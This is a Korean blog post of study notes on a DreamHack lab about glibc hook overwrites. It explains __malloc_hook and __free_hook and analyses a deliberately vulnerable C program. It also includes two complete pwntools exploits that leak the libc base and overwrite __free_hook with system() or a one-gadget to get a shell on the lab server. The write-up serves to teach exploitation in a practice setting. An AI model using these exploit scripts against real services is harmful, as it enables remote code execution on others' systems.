본문 바로가기

DreamHack: System Hacking/F Stage 8

[함께 실습] Hook Overwrite

개념

1) Full RELRO(O) 이더라도 -> libc의 데이터 영역에는 쓰기 권한(O)
2) malloc 함수 -> __malloc_hook 변수의 값이 NULL이 아닌지 검사 -> NULL(X) -> __malloc_hook이 가리키는 함수를 먼저 실행. -> 이때, malloc 함수의 인자는 훅 함수에 전달된다.
위의 내용은 훅 변수를 사용하는 free, realloc도 마찬가지
3) 위의 함수(malloc, free, realloc)들은 libc.so에 정의돼있음.
$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
를 통해 확인해보면 __free_hook, __malloc_hook, __realloc_hook의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28임을 확인할 수 있음

$ readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -A 1 "\.bss"
를 통해 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있다. bss는 쓰기 권한이 있으므로 이 변수들의 값은 조작될 수 있다.
4) 종합 정리: malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, 앞서 설명한 바와 같이 이들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc(“/bin/sh”)을 호출하여 셸을 획득하는 등의 공격이 가능하다.

 

소스코드 분석

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

[1]: 스택에 위치한 특정 값을 Leak 시킬 수 있다.
[2]: 특정 주소의 값을 내가 원하는 값으로 Overwrite 할 수 있다.
[3]: 특정 주소를 free 시킬 수 있다.

 

 

exploit 설계

1st) libc 변수 & 함수의 offset 구하기: __free_hook, system(), "/bin/sh"은 libc에 정의되어 있다. 다음의 명령어로 libc base로부터의 offset을 구할 수 있다.
$ readelf -sr libc-2.27.so | grep " __free_hook@"
$ strings -tx libc-2.27.so | grep "/bin/sh"
2nd) 프로세스에 매핑된 libc base 주소 구하기: 프로세스에 매핑된 libc base의 주소를 구한다면 거기에 <1st>에서 구한 offset을 이용하여 실제 함수와 문자열 등의 주소를 구할 수 있을 것이다.
main()은 __libc_start_main()이라는 libc 함수가 호출하므로, main() 스택프레임에 존재하는 반환 주소를 읽으면, 그 반환 주소를 토대로 libc 베이스 주소를 계산하여 -> 변수와 함수들의 주소를 얻어낼 수 있을 것이다.
3rd) 셸 획득하기: 위에서 함수와 변수의 주소를 구한 후 -> [2]를 통해 __free_hook의 값을 system 함수의 주소로 Overwrite 하여 __free_hook이 가리키는 함수를 실행하게 한다 -> [3]에서 "/bin/sh"을 free하여 system("/bin/sh")을 호출한다.

 

 

exploit

1st) libc base 주소 구하기: main 함수의 반환 주소인 libc_start_main+x를 릭하여 libc 베이스 주소를 구하고 변수 및 함수들의 주소를 계산한다.
1st-1) main 함수는 라이브러리 함수인 __libc_start_main이 호출하므로, main 함수의 스택 프레임에는 __libc_start_main+x로 돌아갈 반환 주소가 저장되어 있을 것이다.
__libc_start_main+x는 libc 영역 어딘가에 존재하는 코드이므로, __libc_start_main+x의 주소를 Leak한 후 해당 값에서 libc_start_main+x의 offset을 빼는 방식으로 프로세스 메모리에 매핑된 libc base 주소를 계산할 수 있다.
1st-2) gdb로 바이너리를 열고 main 함수에 중단점을 설정한 후 실행한다. main 함수에서 멈추었을 때, 모든 스택 프레임의 백트레이스를 출력하는 "bt" 명령어로 main 함수의 반환 주소를 알아낼 수 있다.
1st-3) 그 후 "x/i <주소>"를 출력해보면 __libc_start_main+x를 확인할 수 있다.
1st-4) __libc_start_main+x의 offset은 다음의 명령어로 구할 수 있다.
$ readelf -s libc-2.27.so | grep " __libc_start_main@"
__libc_start_main+x의 offset = 위의 명령어를 통해 구한 offset+x
1st-5) 이후 구한 libc base의 주소를 통해 __free_hook, system(), "/bin/sh"의 주소를 구한다

2nd) __free_hook이 system()을 가리키게 한 후, free의 인자인 addr가 "/bin/sh"을 가리키게 한다.

 

주어진 바이너리(fho)의 스택 구조 & 적용된 보호 기법

설명: Canary가 적용돼있긴 하지만, 우리는 main함수가 종료되기 전에 free(addr)를 통해 Hooking된 __free_hook을 이용하여 system("/bin/sh")을 실행시킬 것이므로, Canary를 우회할 필요가 없다.

 

[fho.py(__free_hook overwrite)]
from pwn import *
p = remote("host3.dreamhack.games", 12016)
e = ELF("./fho")
lib = ELF("./libc-2.27.so")

### [1] Leak Addr ###
buf = b'A'*64 + b'B'*8
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
libc_start_main_231 = u64(p.recvn(6)+b"\x00"*2) # Leak Addr of RET(==__libc_start_main+231)
libc_base = libc_start_main_231 - (lib.symbols['__libc_start_main']+231) # Addr of libc_base
system = libc_base + lib.symbols['system'] # Addr of system()
free_hook = libc_base + lib.symbols['__free_hook'] # Addr of __free_hook
bin_sh = libc_base + next(lib.search(b'/bin/sh')) # Addr of "/bin/sh"

print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
print("/bin/sh:", hex(bin_sh))


### [2], [3] Get Shell ###
p.recvuntil(b"To write: ")
p.sendline(str(free_hook).encode())
p.recvuntil(b"With: ")
p.sendline(str(system).encode())
p.recvuntil(b"To free: ")
p.sendline(str(bin_sh).encode())

p.interactive()


[fho_og.py(One Gadget)]
# $ one_gadget ./libc-2.27.so

from pwn import *
p = remote("host3.dreamhack.games", 12016)
e = ELF("./fho")
lib = ELF("./libc-2.27.so")

### [1] Leak Addr ###
buf = b'A'*64 + b'B'*8
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
libc_start_main_231 = u64(p.recvn(6)+b"\x00"*2) # Leak Addr of RET(==__libc_start_main+231)
libc_base = libc_start_main_231 - (lib.symbols['__libc_start_main']+231) # Addr of libc_base
free_hook = libc_base + lib.symbols['__free_hook'] # Addr of __free_hook
one_gadget = libc_base + 0x4f432

print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))


### [2], [3] Get Shell ###
p.recvuntil(b"To write: ")
p.sendline(str(free_hook).encode())
p.recvuntil(b"With: ")
p.sendline(str(one_gadget).encode())
p.recvuntil(b"To free: ")
p.sendline(str(0x123456).encode())

p.interactive()

 

 

키워드 정리

-Hooking: 어떤 함수, 프로그램, 라이브러리를 실행하려 할 때 이를 가로채서 다른 코드가 실행되게 하는 기법. 디버깅, 모니터링, 트레이싱에 사용될 수 있으며, 공격자에 의해 키로깅이나 루트킷 제작에 사용될 수 있음.

-Hook Overwrite: 바이너리에 존재하는 훅을 덮어써서 특정 함수를 호출할 때, 악의적인 코드가 실행되게 하는 공격 기법. 메모리 관리와 관련된 malloc, free, realloc등의 함수가 라이브러리에 쓰기 가능한 훅 포인터를 가지고 있어서 공격에 사용될 수 있음. Full RELRO를 우회하는 데 사용될 수 있음.

-원 가젯(one-gadget): 실행하면 셸이 획득되는 코드 뭉치. david942j가 만들어놓은 툴을 사용하면 libc의 버전마다 유효한 원 가젯을 쉽게 찾을 수 있음.

-scanf) %d-> str(숫자로) send // %s-> packing하여 send

'DreamHack: System Hacking > F Stage 8' 카테고리의 다른 글

oneshot  (0) 2023.07.02
hook  (2) 2023.07.01
PIE & RELRO  (0) 2023.06.25